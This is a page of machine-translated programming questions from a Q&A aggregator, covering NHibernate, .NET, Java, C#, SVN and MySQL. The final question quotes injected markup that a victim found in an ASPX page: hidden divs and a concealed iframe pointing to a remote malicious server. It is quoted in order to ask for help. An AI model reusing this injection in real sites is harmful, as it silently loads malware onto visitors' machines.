问题列表 - 第14543页

构建NHibernate DTO的最佳方法

我是NHibernate(和ORMS)的新手,并试图掌握它所呈现的无数不同选项.作为参考,我使用Fluent NHibernate和单独的业务对象,而这些对象又使用DTO纯粹用于数据访问.我的应用程序架构必须同时支持Windows和Web"前端".

我的quandry是一种普遍的方法,因为似乎有很多选择.我的DTO看起来像下面的示例.每个DTO都引用了一个从BO传递给它们的ISession.他们负责自己的负载并保存:

public class EmployeeDTO...

    // Data Properties to be persisted to the database
    public virtual int Id { get; private set; }
    public virtual string FirstName { get; set; }
    public virtual string LastName { get; set; }
    public virtual ISession Session { get; set; }

    // Save logic
    public virtual void Save()
    {
        var transaction = Session.BeginTransaction();
        Session.SaveOrUpdate(this);
        transaction.Commit();
    }

    // Load logic
    public virtual void Load(int id)...
Run Code Online (Sandbox Code Playgroud)

首先: 这是正确的方法吗 - DTO是否有能力自行保存和加载?

其次: 无论保存/加载代码在哪里,您是否应该在生命周期或对象中使用相同的ISession,还是应该在每次需要数据库交互时都对ISessionFactory和每个数据库交互都打开一个新会话?

    // Open a …
Run Code Online (Sandbox Code Playgroud)

nhibernate hibernate dto fluent-nhibernate

5
推荐指数
2
解决办法
3569
查看次数

为什么.NET在调用目录"Directory"和"Folder"时不一致?

如果您想对您使用的目录/文件夹执行某些操作,System.IO.Directory但是如果要显示用于浏览的对话框FolderBrowserDialog

为什么一个名为Directory而另一个名为Folder?

.net

4
推荐指数
1
解决办法
230
查看次数

CakePHP的数据库工具

我是CakePHP的新手,想知道是否有任何工具可以在可视/图形环境中显示我的模型类及其关系?

cakephp

5
推荐指数
1
解决办法
2513
查看次数

在什么情况下静态方法是一个好习惯?

我看过以下讨论:

如果私有辅助方法可以是静态的,那么它们应该是静态的吗?如果它们的类没有成员变量,
那么所有方法都应该是静态的

似乎人们通常会接受静态方法,但对此有点怀疑,原因如下:

  1. 他们很难测试.
  2. 他们违反了OO原则.(一个人说,它们是功能,而不是方法.)

最可接受的静态方法是私有静态方法.但那么为什么存在静态方法,在什么情况下它们是首先被采用的?

java methods static

37
推荐指数
4
解决办法
2万
查看次数

如何在Java程序中获得像Office 2007一样的"功能区"UI组件?

我想创建一个基于功能区的GUI.在Java接口方面,我几乎是一个新手,我使用了基本的Swing工具包,但就是这样.

任何人都可以指出我正确的方向,如何做到我的用户界面更灵活,特别是能够创建一个"功能区"?

java user-interface swing ribbon

20
推荐指数
1
解决办法
1万
查看次数

捕获块选择

我正在阅读C#文章.它暗示着

在catch块的末尾,您有三个选择:

•重新抛出相同的异常,通知异常调用堆栈中的代码
.

•抛出不同的异常,为调用堆栈中较高的代码提供更丰富的异常信息.

•让螺纹脱离锁扣块的底部.

我无法理解这些要点.如果你通过一个简单的例子澄清它,那将是一个很大的帮助.

提前致谢.

更新: 当我需要处理rethrown异常时,我是否需要嵌套的try .. catch块之类的

try
{
   try
   {
   }
   catch(InvalidOperationException exp)
   {
     throw;
   }

}
 catch(Exception ex)
 {
    // handle the exception thrown by inner catch block
   // (in this case the "throw"   clause     inside the inner "catch")
 }
}
Run Code Online (Sandbox Code Playgroud)

c# exception-handling

2
推荐指数
1
解决办法
334
查看次数

更好的方法来设计这个循环?

我正在为我自己的自定义程序集构建一个简单的汇编编译器,我有这样的东西作为编译的实际代码:

    foreach (KeyValuePair<short, string> kvp in newCommandSet)
    {
        string fullCommandString = kvp.Value;

        string instruction = fullCommandString.Split(new char[] { Convert.ToChar(" ") })[0];
        string[] parameters = fullCommandString.Split(new string[] { ", " }, StringSplitOptions.RemoveEmptyEntries);
        // this is to remove the instruction part from the first parameter. Gonna have to ensure a well formed command at some point...
        parameters[0] = parameters[0].Substring(instruction.Length + 1);
        Command currentCommand = new Command();
        switch (instruction)
        {
            case "load":
                short value = Convert.ToInt16(instruction[0]);
                byte register = Convert.ToByte(parameters[1]);
                currentCommand = CommandFactory.CreateLoadCommand(register, …
Run Code Online (Sandbox Code Playgroud)

.net

2
推荐指数
1
解决办法
170
查看次数

每个人对Subversion 1.5.6和1.6.3之间合并的容易程度有什么看法?

我们正在考虑升级到最新版本的Subversion.它真的能让合并变得更容易吗?升级过程有多痛苦?

svn

5
推荐指数
1
解决办法
173
查看次数

查询未返回所有行

建立:

create table product_stock(product_id integer, qty integer, branch_id integer);

create table product(product_id integer, product_name varchar(255));

insert into product(product_id, product_name) 
       values(1, 'Apsana White DX Pencil');

insert into product(product_id, product_name) 
       values(2, 'Diamond Glass Marking Pencil');

insert into product(product_id, product_name) 
       values(3, 'Apsana Black Pencil');

insert into product_stock(product_id, qty, branch_id) 
       values(1, 100, 1);

insert into product_stock(product_id, qty, branch_id) 
       values(1, 50, 2);

insert into product_stock(product_id, qty, branch_id) 
       values(2, 80, 1);
Run Code Online (Sandbox Code Playgroud)

我的查询:

SELECT IFNULL(SUM(s.qty),0) AS stock, 
       product_name 
FROM product_stock s 
 RIGHT JOIN product p ON s.product_id=p.product_id …
Run Code Online (Sandbox Code Playgroud)

mysql sql

-1
推荐指数
1
解决办法
418
查看次数

我受到了攻击 - 我该怎么办?

有人把这个代码放到我的aspx页面上.

他们在做什么?

他们是怎么做到的?

我怎么阻止他们?

它位于共享托管服务器上.

它位于一个aspx内容页面上,该页面有一个母版页,位于</asp:content>标签之后......

<div style="display:none">qzfmjsdbknmrmlkszrrcehikeapphqq</div>

<div style="display:none">owhkhminltvnwvegxktzemrszyykcsh</div>

<div style="display:none">cljwdrmbxglllikbjctmpyvcflzxbqk</div>

<div style="display:none">vhhnvchdoxaklqjxlwaqvtgarazwcsx</div>

<div style="display:none">alsbcgosnllreyylgtmblvqwxgpidui</div>

<div style="display:none">yrrzaimkpvimddgirjpuatjzoyovdyq<iframe width=812 height=451 src="http://bionaft.ru:8080/index.php" ></iframe></div>
Run Code Online (Sandbox Code Playgroud)

.net

3
推荐指数
1
解决办法
642
查看次数